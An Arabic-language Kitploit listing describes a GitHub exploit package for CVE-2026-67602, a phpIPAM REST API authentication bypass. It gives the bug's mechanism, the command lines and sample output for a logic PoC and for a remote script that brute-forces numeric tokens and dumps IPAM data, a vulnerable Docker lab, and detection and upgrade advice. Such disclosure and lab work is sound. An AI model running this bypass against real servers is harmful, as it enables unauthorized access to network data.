Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass — استغلال وإثبات المفهوم لـ CVE-2026-67602، وهو تجاوز للمصادقة في واجهة برمجة تطبيقات REST الخاصة بـ phpIPAM عبر تصادم مفاتيح في ذاكرة التخزين المؤقت للكائنات، بما في ذلك إثبات مفهوم على مستوى المنطق وسكربت استغلال عن بُعد. | Kitploit
أدوات/GitHubGitHub/hunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةأمن واجهات برمجة التطبيقات
GitHubhunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

استغلال وإثبات المفهوم لـ CVE-2026-67602، وهو تجاوز للمصادقة في واجهة برمجة تطبيقات REST الخاصة بـ phpIPAM عبر تصادم مفاتيح في ذاكرة التخزين المؤقت للكائنات، بما في ذلك إثبات مفهوم على مستوى المنطق وسكربت استغلال عن بُعد.

عرض المستودع
منذ 0 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-67602 — phpIPAM < 1.8.2 تجاوز المصادقة في REST API

تجاوز مصادقة غير مصادق عليه في REST API الخاص بـ phpIPAM، ناتج عن تصادم في مفتاح ذاكرة التخزين المؤقت للكائنات: صف قاعدة البيانات المخزّن مؤقتًا أثناء حلّ app_id لتطبيق API يحقق شرط فحص app_code (الرمز المميز) اللاحق كلما كان الرمز المورّد مساويًا لقيمة id الرقمية للصف. لا تتم مقارنة السر الحقيقي للتطبيق أبدًا.

  • CVE: CVE-2026-67602
  • CVSS 4.0: 9.3 حرج (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)
  • CWE: CWE-706 (استخدام اسم أو مرجع تم حله بشكل غير صحيح)
  • المتأثر: phpIPAM قبل الإصدار 1.8.2، تطبيقات REST API مع app_security = ssl_code
  • الإصلاح: phpIPAM 1.8.2 (الالتزام d29728f)
  • الاستشارة: https://www.vulncheck.com/advisories/phpipam-authentication-bypass-via-rest-api-object-cache

المحتويات

الملفالغرض
poc_cache_collision.phpPoC على مستوى المنطق. يشغّل تطبيقات fetch_object/cache_check/cache_write الحرفية المعرضة للخطر (v1.8.1) والمصلحة (1.8.2) مقابل قاعدة بيانات مُحاكاة ويعيد تشغيل تسلسل الجلب الدقيق لطلب HTTP واحد. لا حاجة لتثبيت phpIPAM.
exploit.pyاستغلال عن بُعد ضد مثيل phpIPAM < 1.8.2 حي: يعدّد app_id الصالحة (400 مقابل 401)، ويجرب الرمز الرقمي بالقوة الغاشمة (عادةً id 1-3)، ويقوم اختياريًا بتفريغ الأقسام/الشبكات الفرعية/VLANs/الأجهزة.
docker-compose.ymlمختبر معرض للخطر: phpIPAM v1.8.1 + MariaDB، HTTP عادي مع IPAM_TRUST_X_FORWARDED=true بحيث يمكن اختبار تطبيقات ssl_code عبر ترويسة X-Forwarded-Proto.

1. PoC على مستوى المنطق (بدون خادم)

root@kitploit:~
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client')  -> row id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (phpipam-token header) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id  ->  AUTHENTICATED

$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token header) -> false
[3] Response: 401 Unauthorized — token rejected

2. إعادة إنتاج حية في Docker

root@kitploit:~
$ docker compose up -d
  1. انتقل إلى http://localhost:8080/، وتابع إلى المثبّت (http://localhost:8080/install/)، واختر تثبيت قاعدة البيانات التلقائي، مستخدم MySQL root / كلمة المرور phpipamAdminRoot.
  2. سجّل الدخول (admin / admin)، وعيّن كلمة مرور مسؤول جديدة عند الطلب.
  3. أنشئ تطبيق API: الإدارة ← إدارة API ← جديد:
    • اسم التطبيق (app_id): client
    • الأمان: رمز API (ssl_code)
    • الصلاحيات: قراءة / كتابة / حذف
  4. يولّد phpIPAM رمز تطبيق عشوائيًا من 32 حرفًا. لا تحتاج إلى نسخه — فهذه هي نقطة الخلل.

شغّل الاستغلال (علامة --xfp تحقق شرط HTTPS عبر X-Forwarded-Proto، الذي يثق به المختبر):

root@kitploit:~
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Target: http://localhost:8080
[*] Brute-forcing numeric tokens (row ids) 1..64 for app_id='client'...
[+] AUTHENTICATION BYPASSED — phpipam-token: 1 is accepted
[+] The app's real 32-char app_code was never needed.
[+] GET /api/client/sections/ -> HTTP 200, 1 section(s) readable
[*] Dumping IPAM data...

3. الاكتشاف والمعالجة

  • قم بالترقية إلى phpIPAM 1.8.2 أو أحدث. يربط الإصلاح ذاكرة التخزين المؤقت للكائنات بعمود البحث بالإضافة إلى القيمة (الالتزام d29728f).
  • حتى تقوم بالترقية، عطّل أو أعد تكوين تطبيقات API من نوع ssl_code (أوضاع الأمان الأخرى غير متأثرة بتصادم ذاكرة التخزين المؤقت هذا).
  • افحص سجلات خادم الويب / phpIPAM بحثًا عن طلبات إلى /api/<app_id>/... تحمل ترويسة phpipam-token رقمية بحتة — الرموز الشرعية عبارة عن سلاسل عشوائية من 32 حرفًا، لذا فإن الرموز الرقمية تُعد مؤشر اختراق عالي الدقة.
  • قم بتدوير رموز تطبيقات API ورموز المستخدمين إذا كان هناك اشتباه في التعرض.

الاستخدام المسؤول

هذا المستودع مخصص لأغراض البحث الدفاعي واختبار الاختراق المصرح به فقط. قم بتشغيله فقط ضد أنظمة تملكها أو لديك إذن كتابي لاختبارها.

تنزيل الأداة